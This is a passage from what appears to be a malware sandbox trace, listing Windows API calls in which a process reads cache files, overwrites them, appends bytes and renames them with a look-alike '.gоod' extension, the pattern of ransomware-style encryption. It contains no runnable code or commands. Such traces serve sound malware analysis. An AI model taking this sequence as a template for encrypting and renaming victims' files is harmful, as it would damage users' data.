(lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\57c8edb95df3f0ad4ee2dc2b8cfd4157"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0181.198] GetFileType (hFile=0x820) returned 0x1 [0181.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0181.198] GetFileType (hFile=0x820) returned 0x1 [0181.198] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1aee [0181.198] WriteFile (in: hFile=0x820, lpBuffer=0x34f7b08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x34f7b08*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0181.198] CloseHandle (hObject=0x820) returned 1 [0181.199] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", lpFilePart=0x0) returned 0x64 [0181.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0181.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\57c8edb95df3f0ad4ee2dc2b8cfd4157"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0181.199] GetFileType (hFile=0x820) returned 0x1 [0181.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0181.199] GetFileType (hFile=0x820) returned 0x1 [0181.199] ReadFile (in: hFile=0x820, lpBuffer=0x34f9e30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x34f9e30*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0181.681] CloseHandle (hObject=0x820) returned 1 [0181.682] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", lpFilePart=0x0) returned 0x64 [0181.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0181.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\57c8edb95df3f0ad4ee2dc2b8cfd4157"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0181.682] GetFileType (hFile=0x820) returned 0x1 [0181.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0181.682] GetFileType (hFile=0x820) returned 0x1 [0181.682] WriteFile (in: hFile=0x820, lpBuffer=0x34ca748*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x34ca748*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0181.682] CloseHandle (hObject=0x820) returned 1 [0181.683] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", lpFilePart=0x0) returned 0x64 [0181.683] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157.gоod", lpFilePart=0x0) returned 0x69 [0181.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0181.683] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\57c8edb95df3f0ad4ee2dc2b8cfd4157"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x688048fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1afe)) returned 1 [0181.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0181.683] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\57c8edb95df3f0ad4ee2dc2b8cfd4157"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\57c8edb95df3f0ad4ee2dc2b8cfd4157.gоod")) returned 1 [0181.684] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506", lpFilePart=0x0) returned 0x64 [0181.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0181.684] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506"), fInfoLevelId=0x0, lpFileInformation=0x361f510 | out: lpFileInformation=0x361f510*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdb011c96, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0xcee7)) returned 1 [0181.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0181.684] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506", lpFilePart=0x0) returned 0x64 [0181.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0181.685] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0181.685] GetFileType (hFile=0x820) returned 0x1 [0181.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0181.685] GetFileType (hFile=0x820) returned 0x1 [0181.685] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0181.685] ReadFile (in: hFile=0x820, lpBuffer=0x361f9f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x361f9f8*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0182.001] CloseHandle (hObject=0x820) returned 1 [0182.001] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506", lpFilePart=0x0) returned 0x64 [0182.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0182.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0182.002] GetFileType (hFile=0x820) returned 0x1 [0182.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0182.002] GetFileType (hFile=0x820) returned 0x1 [0182.002] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0xcee7 [0182.002] WriteFile (in: hFile=0x820, lpBuffer=0x3659240*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x3659240*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0182.002] CloseHandle (hObject=0x820) returned 1 [0182.003] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506", lpFilePart=0x0) returned 0x64 [0182.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0182.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0182.003] GetFileType (hFile=0x820) returned 0x1 [0182.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0182.003] GetFileType (hFile=0x820) returned 0x1 [0182.003] ReadFile (in: hFile=0x820, lpBuffer=0x365b568, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x365b568*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0182.209] CloseHandle (hObject=0x820) returned 1 [0182.209] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506", lpFilePart=0x0) returned 0x64 [0182.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0182.209] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0182.209] GetFileType (hFile=0x820) returned 0x1 [0182.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0182.209] GetFileType (hFile=0x820) returned 0x1 [0182.209] WriteFile (in: hFile=0x820, lpBuffer=0x3513140*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x3513140*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0182.362] CloseHandle (hObject=0x820) returned 1 [0183.051] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0183.355] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506", lpFilePart=0x0) returned 0x64 [0183.355] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506.gоod", lpFilePart=0x0) returned 0x69 [0183.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0183.355] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x68e930d1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcef7)) returned 1 [0183.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0183.358] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506.gоod")) returned 1 [0183.373] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749", lpFilePart=0x0) returned 0x64 [0183.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0183.373] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\fb0d848f74f70bb2eaa93746d24d9749"), fInfoLevelId=0x0, lpFileInformation=0x35b4db8 | out: lpFileInformation=0x35b4db8*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdff01446, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdff01446, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xca82ce2e, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x1e74)) returned 1 [0183.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0183.373] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749", lpFilePart=0x0) returned 0x64 [0183.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0183.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\fb0d848f74f70bb2eaa93746d24d9749"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0183.374] GetFileType (hFile=0x630) returned 0x1 [0183.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0183.374] GetFileType (hFile=0x630) returned 0x1 [0183.374] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0183.374] ReadFile (in: hFile=0x630, lpBuffer=0x35b52a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x35b52a0*, lpNumberOfBytesRead=0x204ec398*=0xe74, lpOverlapped=0x0) returned 1 [0183.374] CloseHandle (hObject=0x630) returned 1 [0183.374] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749", lpFilePart=0x0) returned 0x64 [0183.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0183.374] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\fb0d848f74f70bb2eaa93746d24d9749"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0183.374] GetFileType (hFile=0x630) returned 0x1 [0183.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0183.374] GetFileType (hFile=0x630) returned 0x1 [0183.374] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1e74 [0183.375] WriteFile (in: hFile=0x630, lpBuffer=0x35b65a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x35b65a0*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0183.375] CloseHandle (hObject=0x630) returned 1 [0183.375] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749", lpFilePart=0x0) returned 0x64 [0183.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0183.375] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\fb0d848f74f70bb2eaa93746d24d9749"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0183.375] GetFileType (hFile=0x630) returned 0x1 [0183.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0183.375] GetFileType (hFile=0x630) returned 0x1 [0183.375] ReadFile (in: hFile=0x630, lpBuffer=0x35b88c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x35b88c8*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0184.038] CloseHandle (hObject=0x630) returned 1 [0184.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749", lpFilePart=0x0) returned 0x64 [0184.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0184.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\fb0d848f74f70bb2eaa93746d24d9749"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0184.038] GetFileType (hFile=0x630) returned 0x1 [0184.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0184.038] GetFileType (hFile=0x630) returned 0x1 [0184.038] WriteFile (in: hFile=0x630, lpBuffer=0x358ab48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x358ab48*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0184.038] CloseHandle (hObject=0x630) returned 1 [0184.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749", lpFilePart=0x0) returned 0x64 [0184.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749.gоod", lpFilePart=0x0) returned 0x69 [0184.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0184.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\fb0d848f74f70bb2eaa93746d24d9749"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdff01446, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdff01446, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x69e8ad3a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e84)) returned 1 [0184.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0184.039] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\fb0d848f74f70bb2eaa93746d24d9749"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\FB0D848F74F70BB2EAA93746D24D9749.gоod" (normalized: 